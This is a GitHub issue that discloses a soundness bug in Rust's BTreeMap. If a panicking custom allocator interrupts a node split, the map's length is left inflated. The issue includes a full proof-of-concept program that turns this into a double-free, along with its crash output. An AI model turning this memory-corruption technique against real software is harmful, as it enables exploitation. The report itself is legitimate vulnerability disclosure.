Skip to content

BTreeMap::insert is not panic-safe; allocator panic during split propagation breaks length invariant #156490

Description

@qwaz

When a BTreeMap insertion triggers a leaf split, the promoted key-value pair and new right subtree must be inserted into the parent internal node. If that parent is also full, it too must split via middle.split(alloc), which allocates a new internal node. A panic during this allocation interrupts propagation after the lower child has already been irreversibly split.

If this panic is caught with catch_unwind, the BTreeMap is left in an inconsistent state: its length field is larger than the actual number of reachable elements (the lower child was truncated and its right half was leaked during unwind). This broken length invariant can lead to undefined behavior, because multiple internal APIs (e.g., iterators implementing TrustedLen) trust length to accurately reflect the number of elements in the tree and use it to justify unchecked memory operations.

Note: Allocators are allowed to panic in Rust:

Implementations are encouraged to return Err on memory exhaustion rather than panicking or aborting, but this is not a strict requirement. (Specifically: it is legal to implement this trait atop an underlying native allocation library that aborts on memory exhaustion.)

https://doc.rust-lang.org/std/alloc/trait.Allocator.html#errors

Security impact

Expected to be low.

Triggering the bug requires all of the following conditions to be met:

  1. Use of a custom allocator that panics with precise timing
  2. catch_unwind around the BTreeMap insertion
  3. Continued use of the corrupted BTreeMap after the panic is caught

Data flow trace

BTreeMap::insertVacantEntry::insertVacantEntry::insert_entryHandle::insert_recursingHandle::insertHandle::split

  • insert_recursing: the propagation loop that inserts the promoted KV from a child split into the parent, potentially triggering further splits up the tree:

    pub(super) fn insert_recursing<A: Allocator + Clone>(
    self,
    key: K,
    value: V,
    alloc: A,
    split_root: impl FnOnce(SplitResult<'a, K, V, marker::LeafOrInternal>),
    ) -> Handle<NodeRef<marker::Mut<'a>, K, V, marker::Leaf>, marker::KV> {
    let (mut split, handle) = match self.insert(key, value, alloc.clone()) {
    // SAFETY: we have finished splitting and can now re-awaken the
    // handle to the inserted element.
    (None, handle) => return unsafe { handle.awaken() },
    (Some(split), handle) => (split.forget_node_type(), handle),
    };
    loop {
    split = match split.left.ascend() {
    Ok(parent) => {
    match parent.insert(split.kv.0, split.kv.1, split.right, alloc.clone()) {
    // SAFETY: we have finished splitting and can now re-awaken the
    // handle to the inserted element.
    None => return unsafe { handle.awaken() },
    Some(split) => split.forget_node_type(),
    }
    }
    Err(root) => {
    split_root(SplitResult { left: root, ..split });
    // SAFETY: we have finished splitting and can now re-awaken the
    // handle to the inserted element.
    return unsafe { handle.awaken() };
    }
    };
    }
    }
    }

  • Handle::insert for internal nodes: calls middle.split(alloc) which allocates a new node — the panic site:

    fn insert<A: Allocator + Clone>(
    mut self,
    key: K,
    val: V,
    edge: Root<K, V>,
    alloc: A,
    ) -> Option<SplitResult<'a, K, V, marker::Internal>> {
    assert!(edge.height == self.node.height - 1);
    if self.node.len() < CAPACITY {
    self.insert_fit(key, val, edge);
    None
    } else {
    let (middle_kv_idx, insertion) = splitpoint(self.idx);
    let middle = unsafe { Handle::new_kv(self.node, middle_kv_idx) };
    let mut result = middle.split(alloc);
    let mut insertion_edge = match insertion {
    LeftOrRight::Left(insert_idx) => unsafe {
    Handle::new_edge(result.left.reborrow_mut(), insert_idx)
    },
    LeftOrRight::Right(insert_idx) => unsafe {
    Handle::new_edge(result.right.borrow_mut(), insert_idx)
    },
    };
    insertion_edge.insert_fit(key, val, edge);
    Some(result)
    }
    }
    }

  • Handle::insert for leaf nodes: calls middle.split(alloc) which performs split_leaf_data (truncating the original leaf's len and moving elements to the new leaf) — the irreversible mutation that has already completed before the parent split panics:

    fn insert<A: Allocator + Clone>(
    self,
    key: K,
    val: V,
    alloc: A,
    ) -> (
    Option<SplitResult<'a, K, V, marker::Leaf>>,
    Handle<NodeRef<marker::DormantMut, K, V, marker::Leaf>, marker::KV>,
    ) {
    if self.node.len() < CAPACITY {
    // SAFETY: There is enough space in the node for insertion.
    let handle = unsafe { self.insert_fit(key, val) };
    (None, handle.dormant())
    } else {
    let (middle_kv_idx, insertion) = splitpoint(self.idx);
    let middle = unsafe { Handle::new_kv(self.node, middle_kv_idx) };
    let mut result = middle.split(alloc);
    let insertion_edge = match insertion {
    LeftOrRight::Left(insert_idx) => unsafe {
    Handle::new_edge(result.left.reborrow_mut(), insert_idx)
    },
    LeftOrRight::Right(insert_idx) => unsafe {
    Handle::new_edge(result.right.borrow_mut(), insert_idx)
    },
    };
    // SAFETY: We just split the node, so there is enough space for
    // insertion.
    let handle = unsafe { insertion_edge.insert_fit(key, val).dormant() };
    (Some(result), handle)
    }
    }
    }

Demonstration

The code below demonstrates double-free using only safe Rust code (the custom allocator uses unsafe to implement the Allocator trait but behaves as a correct allocator — it simply panics on a specific allocation).

Run with cargo +nightly run --features unstable-allocator-api.

#![feature(allocator_api, btreemap_alloc)]
#![deny(unsafe_code)]

use std::collections::BTreeMap;
use std::panic::{AssertUnwindSafe, catch_unwind};

use panic_allocator::PanicAllocator;

const ENTRY_COUNT: usize = 137;
const INSERT_KEY: usize = 263;
const PANIC_ON_INSERT_ALLOCATION: usize = 2;

/// Exploit the BTreeMap panic-safety bug to trigger undefined behavior.
///
/// After a panicking allocator interrupts internal node split propagation, the
/// map's `length` field is larger than the actual number of reachable elements.
/// IntoIter (which implements DoubleEndedIterator) trusts this inflated length
/// to decide when to stop.
///
/// Strategy:
/// 1. Consume ALL actual elements from the **back** of the IntoIter via
///    `next_back()`. Each call moves values out (via `assume_init_read`) and
///    drops them, freeing the `Box<Payload>` heap allocations. Critically, the
///    leaf node's `len` field is never decremented—only the IntoIter's `length`
///    counter ticks down.
/// 2. After `actual_count` calls to `next_back()`, every element has been moved
///    out and freed, but `IntoIter.length` still equals `discrepancy` (> 0).
///    The leftmost leaf survives because deallocation only happens on the *next*
///    iteration after a leaf is fully consumed.
/// 3. Now call `next()` from the **front**. The front cursor descends to the
///    leftmost leaf—still allocated and still advertising its original `len`.
///    `right_kv()` succeeds, and `into_key_val()` does `assume_init_read()` on
///    the already-moved-out KV slot, producing a bitwise-duplicate `Box<Payload>`
///    whose backing memory has already been freed.
/// 4. When this duplicate `Box` is dropped, the global allocator sees a
///    **double-free**—undefined behavior.
fn main() {
    let allocator = PanicAllocator::new();
    let mut map = BTreeMap::new_in(allocator.clone());

    for id in 0..ENTRY_COUNT {
        map.insert(id * 2, Box::new(Payload::new(id)));
    }

    let panic_at = allocator.allocation_count() + PANIC_ON_INSERT_ALLOCATION;
    allocator.panic_at_allocation(panic_at);

    eprintln!(
        "armed allocator panic at allocation #{panic_at}; \
         inserting key {INSERT_KEY} into {ENTRY_COUNT}-entry map"
    );

    let insertion = catch_unwind(AssertUnwindSafe(|| {
        map.insert(INSERT_KEY, Box::new(Payload::new(ENTRY_COUNT)));
    }));

    assert!(insertion.is_err(), "insertion should have panicked");

    // Count the actual reachable elements. Range is position-based (front/back
    // leaf-edge cursors), so it correctly reports the real count regardless of
    // the corrupted `length` field.
    let actual_count = map.range(..).count();
    let reported_len = map.len();

    assert!(
        actual_count < reported_len,
        "expected length corruption: map.len()={reported_len}, actual={actual_count}"
    );

    let discrepancy = reported_len - actual_count;
    eprintln!(
        "caught allocator panic; map.len()={reported_len}, \
         actual reachable={actual_count}, discrepancy={discrepancy}"
    );

    // Convert to a consuming, double-ended iterator.
    // IntoIter.length = reported_len (inflated).
    let mut iter = map.into_iter();

    // Phase 1: drain every real element from the back.
    // Each next_back() call:
    //   - decrements IntoIter.length
    //   - calls deallocating_next_back which reads the KV via assume_init_read
    //   - the returned Box<Payload> is dropped immediately → heap memory freed
    // After this loop: IntoIter.length == discrepancy, all values freed,
    // but the leftmost leaf is still allocated with its original `len`.
    for _ in 0..actual_count {
        iter.next_back();
    }

    eprintln!(
        "drained {actual_count} elements from back; \
         IntoIter.length={discrepancy}, reading duplicates from front..."
    );

    // Phase 2: read `discrepancy` already-freed KV slots from the front.
    // The front cursor descends to the leftmost leaf (still alive).
    // right_kv() succeeds because the leaf's len was never decremented.
    // into_key_val() does assume_init_read on an already-moved-out slot,
    // producing a duplicate Box<Payload> whose memory was freed in Phase 1.
    // Dropping this duplicate Box is a double-free → undefined behavior.
    for i in 0..discrepancy {
        if let Some((key, _duplicate_box)) = iter.next() {
            eprintln!(
                "  duplicate #{}: key={key} (double-free on drop)",
                i + 1
            );
            // _duplicate_box is dropped here → double-free!
        } else {
            eprintln!("  unexpected None at duplicate #{}", i + 1);
            break;
        }
    }

    // Should not reach here—double-free typically triggers SIGABRT.
    eprintln!("unexpected: double-free did not crash the process");
}

struct Payload {
    _id: usize,
    _bytes: [u8; 256],
}

impl Payload {
    fn new(id: usize) -> Self {
        Self {
            _id: id,
            _bytes: [0x41; 256],
        }
    }
}

#[allow(unsafe_code)]
mod panic_allocator {
    use std::alloc::{AllocError, Allocator, Layout, alloc, dealloc, handle_alloc_error};
    use std::cell::Cell;
    use std::ptr::NonNull;
    use std::rc::Rc;

    #[derive(Clone)]
    pub(super) struct PanicAllocator {
        state: Rc<State>,
    }

    struct State {
        allocations: Cell<usize>,
        panic_at: Cell<Option<usize>>,
    }

    impl PanicAllocator {
        pub(super) fn new() -> Self {
            Self {
                state: Rc::new(State {
                    allocations: Cell::new(0),
                    panic_at: Cell::new(None),
                }),
            }
        }

        pub(super) fn allocation_count(&self) -> usize {
            self.state.allocations.get()
        }

        pub(super) fn panic_at_allocation(&self, allocation: usize) {
            self.state.panic_at.set(Some(allocation));
        }
    }

    unsafe impl Allocator for PanicAllocator {
        fn allocate(&self, layout: Layout) -> Result<NonNull<[u8]>, AllocError> {
            let allocation = self.state.allocations.get() + 1;
            self.state.allocations.set(allocation);

            if self.state.panic_at.get() == Some(allocation) {
                panic!("intentional allocator panic at allocation #{allocation}");
            }

            if layout.size() == 0 {
                return Ok(NonNull::slice_from_raw_parts(NonNull::dangling(), 0));
            }

            let raw = unsafe { alloc(layout) };
            let ptr = NonNull::new(raw).unwrap_or_else(|| handle_alloc_error(layout));
            Ok(NonNull::slice_from_raw_parts(ptr, layout.size()))
        }

        unsafe fn deallocate(&self, ptr: NonNull<u8>, layout: Layout) {
            if layout.size() != 0 {
                unsafe {
                    dealloc(ptr.as_ptr(), layout);
                }
            }
        }
    }
}

Output

armed allocator panic at allocation #24; inserting key 263 into 137-entry map

thread 'main' (1042034) panicked at src/bin/btree_panic_allocator_poc.rs:176:17:
intentional allocator panic at allocation #24
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
caught allocator panic; map.len()=137, actual reachable=131, discrepancy=6
drained 131 elements from back; IntoIter.length=6, reading duplicates from front...
  duplicate #1: key=0 (double-free on drop)
double free or corruption (!prev)
zsh: IOT instruction (core dumped)

Environment

❯ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 26.04 LTS
Release:        26.04
Codename:       resolute

❯ rustc +nightly --version
rustc 1.97.0-nightly (4b0c9d76a 2026-05-10)

The initial discovery was made by AI. The analysis, exploitation, and this report have been reviewed and verified by human experts.

Reporting on behalf of Autonomous Code Security (ACS) team at Microsoft.

Metadata

Metadata

Assignees

No one assigned

    Labels

    A-allocatorsArea: Custom and system allocatorsA-collectionsArea: `std::collections`A-panicArea: Panicking machineryC-bugCategory: This is a bug.I-unsoundIssue: A soundness hole (worst kind of bug), see: https://en.wikipedia.org/wiki/SoundnessT-libsRelevant to the library team, which will review and decide on the PR/issue.requires-nightlyThis issue requires a nightly compiler in some way. When possible, use a F-* label instead.

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions